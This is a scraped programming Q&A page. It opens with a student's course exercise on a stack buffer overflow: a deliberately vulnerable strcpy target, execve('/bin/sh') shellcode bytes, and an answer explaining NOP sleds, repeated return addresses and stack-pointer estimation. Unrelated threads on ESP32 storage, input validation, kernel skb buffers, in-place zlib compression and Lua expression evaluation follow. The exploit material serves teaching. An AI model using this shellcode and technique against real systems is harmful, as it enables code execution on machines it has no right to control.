Intentional buffer overflow exploit program - buffer

I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.
I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?
Thanks very much for any help.

Well, so you want the program to execute your shellcode. It's already in machine form, so it's ready to be executed by the system. You've stored it in a buffer. So, the question would be "How does the system know to execute my code?" More precisely, "How does the system know where to look for the next code to be executed?" The answer in this case is the return address you're talking about.
Basically, you're on the right track. Have you tried executing the code? One thing I've noticed when performing this type of exploit is that it's not an exact science. Sometimes, there are other things in memory that you don't expect to be there, so you have to increase the number of bytes you add into your buffer in order to correctly align the return address with where the system expects it to be.
I'm not a specialist in security, but I can tell you a few things that might help. One is that I usually include a 'NOP Sled' - essentially just a series of 0x90 bytes that don't do anything other than execute 'NOP' instructions on the processor. Another trick is to repeat the return address at the end of the buffer, so that if even one of them overwrites the return address on the stack, you'll have a successful return to where you want.
So, your buffer will look like this:
| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |
(Note: These aren't my ideas, I got them from Hacking: The Art of Exploitation, by Jon Erickson. I recommend this book if you're interested in learning more about this).
To calculate the address, you can use something similar to the following:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Now, ret will hold the return address you want to return to, assuming that you allocate buffer to be on the heap.

Related

How do I use Preferences.h library in iteration?

I am using an ESP32 WROOM 32D module in a project using Arduino IDE. I want to utilise NVS facility with the help of Preferences.h library that it provides, although the data that can come through user would be stored in different namespaces and those could be utilised later. I can easily create simple one two namespaces but for this I need to use iteration. I have been scratching my head over this, but to no luck. I saw over on GitHub one person complain that it may not exactly be iteration friendly. Here's my code:
#include<Preferences.h>
Preferences ok;
String data1;
byte data2[2];byte data3[9];
byte buff[2];byte buf[9];
bool data4;
void setup() {
Serial.begin(115200);
for(int i=2; i<280; i++){
char testarray[]="test1";
testarray[4]=i;
ok.begin(testarray,false);
char datad1[20]="Code 15 launched 20";
datad1[15]=i;
ok.putString("data1", datad1);
ok.putBytes("data2","2",2);
ok.putBytes("data3","DF1BE29C",9);
ok.putBool("data4", true);
ok.end();
}
for(int i=2; i<280; i++){
char testarray[]="test1";
testarray[4]=i;
ok.begin(testarray,false);
data1=ok.getString("data1");
Serial.println(data1);
data2[2]=ok.getBytes("data2",buff,2);
Serial.print(data2[1], HEX);
Serial.print(data2[2], HEX);
Serial.println();
data3[9]=ok.getBytes("data3",buf,9);
for (int j = 0; j < sizeof(data3); j++) {
Serial.print(data3[j], HEX);
}
Serial.println();
data4=ok.getBool("data4");
Serial.println(data4);
ok.end();
}
}
void loop() {
}
Is there anything wrong with this? The format is simply const char* as the parameter of the namespace name, I just hoped that this would efficiently create test1, test2, test3, test4 namespaces.... but doesn't seem much feasible. Any guidance will be appreciated.
You cannot construct C strings like that:
char testarray[]="test1";
testarray[4]=i;
...
char datad1[20]="Code 15 launched 20";
datad1[15]=i;
This simply replaces the character '1' with numeric value 2, 3, .. 280. Numbers are not characters.
This is how you construct C strings with numbers in them:
char label[8]; // 4 chars for "test", 3 chars for 3 digit number, 1 char for NULL
snprintf(label, sizeof(label), "test%d", i);

compare number to letter

Is it possible to compare a number to a letter and make a difference out of it?
What I'm trying to do is:
Ask the user for a number between 0-10 (choose from a menu)
Check what that number was, if the number isn't between 0-10 it will
ask the user for another number
This all works very well until the user inputs a letter (for example 'A').
I'm using scanf() to store the value that the user inputs in an integer variable. So if the user inputs 'A', the value 65 gets stored in the variable.
This is causing me a lot of headache, because I want to make a difference between letters and numbers..
Here's my code for checking the input:
int checkNumber(int input,int low,int high){
int noPass=0,check=input;
if(check<low){
noPass=1;
}
if(check>high){
noPass=1;
}
if(noPass==1){
while(noPass==1){
printf("Input number between %d - %d \n",low,high);
scanf("%d",&check);
if((check>low)&&(check<high)){
noPass=0;
}
}
}
return check;
}
What happens if the user inputs a letter inside the while loop in this function; it starts looping endlessly asking for an input between low and high.
I want to somehow filter out letters, without actually filtering out the letter's values (65 and above).
-Is this possible?
So I continued to wrestle this problem and I came up with this solution:
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
//pre: stdlib.h and ctype.h needs to be included, input cannot be initialized to a value within low and high, low cannot be greater than high
//post: returns an integer value that ranges between low and high
int checkNumber(int input,int low,int high){
int noPass=0,check=input;
if(low>high){
printf("Low is greater than high, abort! \n");
exit(EXIT_FAILURE);
}
if(isdigit(check)){
noPass=1;
}
if((check<low)||(check>high)){
noPass=1;
}
if(noPass==1){
while(noPass==1){
printf("Input a number between %d - %d \n",low,high);
scanf("%d",&check);
getchar();
if((check>=low)&&(check<=high)){
noPass=0;
}
}
}
return check;
}
int main(int argc, char *argv[]){
int i=2147483647;
printf("Choose an alternative: \n");
printf("1. Happy Fun time! \n");
printf("2. Sad, sad time! \n");
printf("3. Indifference.. \n");
printf("4. Running out of ideas. \n");
printf("5. Placeholder \n");
printf("6. Hellow World? \n");
printf("0. -Quit- \n");
scanf("%d",&i);
getchar();
i=checkNumber(i,0,6);
if(i==0){
printf("You chose 0! \n");
}
if(i==1){
printf("You chose 1! \n");
}
if(i==2){
printf("You chose 2! \n");
}
if(i==3){
printf("You chose 3! \n");
}
if(i==4){
printf("You chose 4! \n");
}
if(i==5){
printf("You chose 5! \n");
}
if(i==6){
printf("You chose 6! \n");
}
return 0;
}
It works the way I want it to, but it's not perfect. The biggest flaw is that the variable for the value in input (int i, in main()) cannot be initialized to a value between low and high.
For example: if int i=3; low=0 and high=6, and the user writes a letter: the value of i remains at 3. 3 is sent to checkNumber, and is immediately passed as 3.
I chose to initialize i as 2147483647, which is an unlikely number - but it is still possible.
In conclusion: it works, but it is flawed.
The char automatically become casted into the ASCII code (http://www.c-howto.de/tutorial-anhang-ascii-tabelle.html) . Like u can see, the numbers for the chars are all over the 10 u accept, so the easiest way is to only check if the number is between 0-10 like u said

How to place complete structure in a skb

I am working on a kernel module, in which i want to transfer a structure via skb. I can do so by putting each of data element of struct in skb; however my question is: can I put complete structure in skb in one shot and send it across ?
You can simply get a pointer to the whole struct then memcpy the contents to your buffer.
/* skb_put returns a pointer to the beginning of the data area in the skb*/
unsigned char *skb_data = skb_put(skb, size_of_data);
unsigned char *your_data = (unsigned char *) your_struct;
memcpy(skb_data, your_data, size_of_data);
Of course, make sure the skb has enough data space, you can do that using the skb_tailroom function.
I tried to improve the above answer provided by #Fingolfin and stackoverflow not allowing me to do that.
After allocation new SKB by using alloc_skb(). You want to transfer data (your_structure) to skb in one shot.
skb = alloc_skb(len, GFP_KERNEL);
Initially head, tail and data are pointing at same location and end pointer points to the last. Use this link to understand more.
You got skb now. By using skb_put() you can add data to a buffer.
void *skb_put(struct sk_buff *skb, unsigned int len)
skb is the buffer to use and len is the amount of data to add. This function extends the used data area of the buffer. people got confused it gives the starting address of user data area but actually it is other way around.
Basically, we are appending data to the tail of a skb buffer.
The skb_put() function used to increment the len and tail values after data has been placed in the sk_buff *skb.
Snippet below -
void *skb_put(struct sk_buff *skb, unsigned int len)
{
void *tmp = skb_tail_pointer(skb);
SKB_LINEAR_ASSERT(skb);
skb->tail += len;
skb->len += len;
if (unlikely(skb->tail > skb->end))
skb_over_panic(skb, len, __builtin_return_address(0));
return tmp;
}
Now copy your data to skb buff -
tmp = skb_put(skb, struct_len);
memcpy(tmp,struct_data, struct_len);
You can also use below api instead of mentioned above -
skb_put_data(skb, struct_data, struct_len);

Is it possible to have zlib read from and write to the same memory buffer?

I have a character buffer that I would like to compress in place. Right now I have it set up so there are two buffers and zlib's deflate reads from the input buffer and writes to the output buffer. Then I have to change the input buffer pointer to point to the output buffer and free the old input buffer. This seems like an unnecessary amount of allocation. Since zlib is compressing, the next_out pointer should always lag behind the next_in pointer. Anyway, I can't find enough documentation to verify this and was hoping someone had some experience with this. Thanks for your time!
It can be done, with some care. The routine below does it. Not all data is compressible, so you have to handle the case where the output data catches up with the input data. It takes a lot of incompressible data, but it can happen (see comments in code), in which case you have to allocate a buffer to temporarily hold the remaining input.
/* Compress buf[0..len-1] in place into buf[0..*max-1]. *max must be greater
than or equal to len. Return Z_OK on success, Z_BUF_ERROR if *max is not
enough output space, Z_MEM_ERROR if there is not enough memory, or
Z_STREAM_ERROR if *strm is corrupted (e.g. if it wasn't initialized or if it
was inadvertently written over). If Z_OK is returned, *max is set to the
actual size of the output. If Z_BUF_ERROR is returned, then *max is
unchanged and buf[] is filled with *max bytes of uncompressed data (which is
not all of it, but as much as would fit).
Incompressible data will require more output space than len, so max should
be sufficiently greater than len to handle that case in order to avoid a
Z_BUF_ERROR. To assure that there is enough output space, max should be
greater than or equal to the result of deflateBound(strm, len).
strm is a deflate stream structure that has already been successfully
initialized by deflateInit() or deflateInit2(). That structure can be
reused across multiple calls to deflate_inplace(). This avoids unnecessary
memory allocations and deallocations from the repeated use of deflateInit()
and deflateEnd(). */
int deflate_inplace(z_stream *strm, unsigned char *buf, unsigned len,
unsigned *max)
{
int ret; /* return code from deflate functions */
unsigned have; /* number of bytes in temp[] */
unsigned char *hold; /* allocated buffer to hold input data */
unsigned char temp[11]; /* must be large enough to hold zlib or gzip
header (if any) and one more byte -- 11
works for the worst case here, but if gzip
encoding is used and a deflateSetHeader()
call is inserted in this code after the
deflateReset(), then the 11 needs to be
increased to accomodate the resulting gzip
header size plus one */
/* initialize deflate stream and point to the input data */
ret = deflateReset(strm);
if (ret != Z_OK)
return ret;
strm->next_in = buf;
strm->avail_in = len;
/* kick start the process with a temporary output buffer -- this allows
deflate to consume a large chunk of input data in order to make room for
output data there */
if (*max < len)
*max = len;
strm->next_out = temp;
strm->avail_out = sizeof(temp) > *max ? *max : sizeof(temp);
ret = deflate(strm, Z_FINISH);
if (ret == Z_STREAM_ERROR)
return ret;
/* if we can, copy the temporary output data to the consumed portion of the
input buffer, and then continue to write up to the start of the consumed
input for as long as possible */
have = strm->next_out - temp;
if (have <= (strm->avail_in ? len - strm->avail_in : *max)) {
memcpy(buf, temp, have);
strm->next_out = buf + have;
have = 0;
while (ret == Z_OK) {
strm->avail_out = strm->avail_in ? strm->next_in - strm->next_out :
(buf + *max) - strm->next_out;
ret = deflate(strm, Z_FINISH);
}
if (ret != Z_BUF_ERROR || strm->avail_in == 0) {
*max = strm->next_out - buf;
return ret == Z_STREAM_END ? Z_OK : ret;
}
}
/* the output caught up with the input due to insufficiently compressible
data -- copy the remaining input data into an allocated buffer and
complete the compression from there to the now empty input buffer (this
will only occur for long incompressible streams, more than ~20 MB for
the default deflate memLevel of 8, or when *max is too small and less
than the length of the header plus one byte) */
hold = strm->zalloc(strm->opaque, strm->avail_in, 1);
if (hold == Z_NULL)
return Z_MEM_ERROR;
memcpy(hold, strm->next_in, strm->avail_in);
strm->next_in = hold;
if (have) {
memcpy(buf, temp, have);
strm->next_out = buf + have;
}
strm->avail_out = (buf + *max) - strm->next_out;
ret = deflate(strm, Z_FINISH);
strm->zfree(strm->opaque, hold);
*max = strm->next_out - buf;
return ret == Z_OK ? Z_BUF_ERROR : (ret == Z_STREAM_END ? Z_OK : ret);
}

Evaluating Mathematical Expressions using Lua

In my previous question I was looking for a way of evaulating complex mathematical expressions in C, most of the suggestions required implementing some type of parser.
However one answer, suggested using Lua for evaluating the expression. I am interested in this approach but I don't know anything about Lua.
Can some one with experience in Lua shed some light?
Specifically what I'd like to know is
Which API if any does Lua provide that can evaluate mathematical expressions passed in as a string? If there is no API to do such a thing, may be some one can shed some light on the linked answer as it seemed like a good approach :)
Thanks
The type of expression I'd like to evaluate is given some user input such as
y = x^2 + 1/x - cos(x)
evaluate y for a range of values of x
It is straightforward to set up a Lua interpreter instance, and pass it expressions to be evaluated, getting back a function to call that evaluates the expression. You can even let the user have variables...
Here's the sample code I cooked up and edited into my other answer. It is probably better placed on a question tagged Lua in any case, so I'm adding it here as well. I compiled this and tried it for a few cases, but it certainly should not be trusted in production code without some attention to error handling and so forth. All the usual caveats apply here.
I compiled and tested this on Windows using Lua 5.1.4 from Lua for Windows. On other platforms, you'll have to find Lua from your usual source, or from www.lua.org.
Update: This sample uses simple and direct techniques to hide the full power and complexity of the Lua API behind as simple as possible an interface. It is probably useful as-is, but could be improved in a number of ways.
I would encourage readers to look into the much more production-ready ae library by lhf for code that takes advantage of the API to avoid some of the quick and dirty string manipulation I've used. His library also promotes the math library into the global name space so that the user can say sin(x) or 2 * pi without having to say math.sin and so forth.
Public interface to LE
Here is the file le.h:
/* Public API for the LE library.
*/
int le_init();
int le_loadexpr(char *expr, char **pmsg);
double le_eval(int cookie, char **pmsg);
void le_unref(int cookie);
void le_setvar(char *name, double value);
double le_getvar(char *name);
Sample code using LE
Here is the file t-le.c, demonstrating a simple use of this library. It takes its single command-line argument, loads it as an expression, and evaluates it with the global variable x changing from 0.0 to 1.0 in 11 steps:
#include <stdio.h>
#include "le.h"
int main(int argc, char **argv)
{
int cookie;
int i;
char *msg = NULL;
if (!le_init()) {
printf("can't init LE\n");
return 1;
}
if (argc<2) {
printf("Usage: t-le \"expression\"\n");
return 1;
}
cookie = le_loadexpr(argv[1], &msg);
if (msg) {
printf("can't load: %s\n", msg);
free(msg);
return 1;
}
printf(" x %s\n"
"------ --------\n", argv[1]);
for (i=0; i<11; ++i) {
double x = i/10.;
double y;
le_setvar("x",x);
y = le_eval(cookie, &msg);
if (msg) {
printf("can't eval: %s\n", msg);
free(msg);
return 1;
}
printf("%6.2f %.3f\n", x,y);
}
}
Here is some output from t-le:
E:...>t-le "math.sin(math.pi * x)"
x math.sin(math.pi * x)
------ --------
0.00 0.000
0.10 0.309
0.20 0.588
0.30 0.809
0.40 0.951
0.50 1.000
0.60 0.951
0.70 0.809
0.80 0.588
0.90 0.309
1.00 0.000
E:...>
Implementation of LE
Here is le.c, implementing the Lua Expression evaluator:
#include <lua.h>
#include <lauxlib.h>
#include <stdlib.h>
#include <string.h>
static lua_State *L = NULL;
/* Initialize the LE library by creating a Lua state.
*
* The new Lua interpreter state has the "usual" standard libraries
* open.
*/
int le_init()
{
L = luaL_newstate();
if (L)
luaL_openlibs(L);
return !!L;
}
/* Load an expression, returning a cookie that can be used later to
* select this expression for evaluation by le_eval(). Note that
* le_unref() must eventually be called to free the expression.
*
* The cookie is a lua_ref() reference to a function that evaluates the
* expression when called. Any variables in the expression are assumed
* to refer to the global environment, which is _G in the interpreter.
* A refinement might be to isolate the function envioronment from the
* globals.
*
* The implementation rewrites the expr as "return "..expr so that the
* anonymous function actually produced by lua_load() looks like:
*
* function() return expr end
*
*
* If there is an error and the pmsg parameter is non-NULL, the char *
* it points to is filled with an error message. The message is
* allocated by strdup() so the caller is responsible for freeing the
* storage.
*
* Returns a valid cookie or the constant LUA_NOREF (-2).
*/
int le_loadexpr(char *expr, char **pmsg)
{
int err;
char *buf;
if (!L) {
if (pmsg)
*pmsg = strdup("LE library not initialized");
return LUA_NOREF;
}
buf = malloc(strlen(expr)+8);
if (!buf) {
if (pmsg)
*pmsg = strdup("Insufficient memory");
return LUA_NOREF;
}
strcpy(buf, "return ");
strcat(buf, expr);
err = luaL_loadstring(L,buf);
free(buf);
if (err) {
if (pmsg)
*pmsg = strdup(lua_tostring(L,-1));
lua_pop(L,1);
return LUA_NOREF;
}
if (pmsg)
*pmsg = NULL;
return luaL_ref(L, LUA_REGISTRYINDEX);
}
/* Evaluate the loaded expression.
*
* If there is an error and the pmsg parameter is non-NULL, the char *
* it points to is filled with an error message. The message is
* allocated by strdup() so the caller is responsible for freeing the
* storage.
*
* Returns the result or 0 on error.
*/
double le_eval(int cookie, char **pmsg)
{
int err;
double ret;
if (!L) {
if (pmsg)
*pmsg = strdup("LE library not initialized");
return 0;
}
lua_rawgeti(L, LUA_REGISTRYINDEX, cookie);
err = lua_pcall(L,0,1,0);
if (err) {
if (pmsg)
*pmsg = strdup(lua_tostring(L,-1));
lua_pop(L,1);
return 0;
}
if (pmsg)
*pmsg = NULL;
ret = (double)lua_tonumber(L,-1);
lua_pop(L,1);
return ret;
}
/* Free the loaded expression.
*/
void le_unref(int cookie)
{
if (!L)
return;
luaL_unref(L, LUA_REGISTRYINDEX, cookie);
}
/* Set a variable for use in an expression.
*/
void le_setvar(char *name, double value)
{
if (!L)
return;
lua_pushnumber(L,value);
lua_setglobal(L,name);
}
/* Retrieve the current value of a variable.
*/
double le_getvar(char *name)
{
double ret;
if (!L)
return 0;
lua_getglobal(L,name);
ret = (double)lua_tonumber(L,-1);
lua_pop(L,1);
return ret;
}
Remarks
The above sample consists of 189 lines of code total, including a spattering of comments, blank lines, and the demonstration. Not bad for a quick function evaluator that knows how to evaluate reasonably arbitrary expressions of one variable, and has rich library of standard math functions at its beck and call.
You have a Turing-complete language underneath it all, and it would be an easy extension to allow the user to define complete functions as well as to evaluate simple expressions.
Since you're lazy, like most programmers, here's a link to a simple example that you can use to parse some arbitrary code using Lua. From there, it should be simple to create your expression parser.
This is for Lua users that are looking for a Lua equivalent of "eval".
The magic word used to be loadstring but it is now, since Lua 5.2, an upgraded version of load.
i=0
f = load("i = i + 1") -- f is a function
f() ; print(i) -- will produce 1
f() ; print(i) -- will produce 2
Another example, that delivers a value :
f=load('return 2+3')
print(f()) -- print 5
As a quick-and-dirty way to do, you can consider the following equivalent of eval(s), where s is a string to evaluate :
load(s)()
As always, eval mechanisms should be avoided when possible since they are expensive and produce a code difficult to read.
I personally use this mechanism with LuaTex/LuaLatex to make math operations in Latex.
The Lua documentation contains a section titled The Application Programming Interface which describes how to call Lua from your C program. The documentation for Lua is very good and you may even be able to find an example of what you want to do in there.
It's a big world in there, so whether you choose your own parsing solution or an embeddable interpreter like Lua, you're going to have some work to do!
function calc(operation)
return load("return " .. operation)()
end

Resources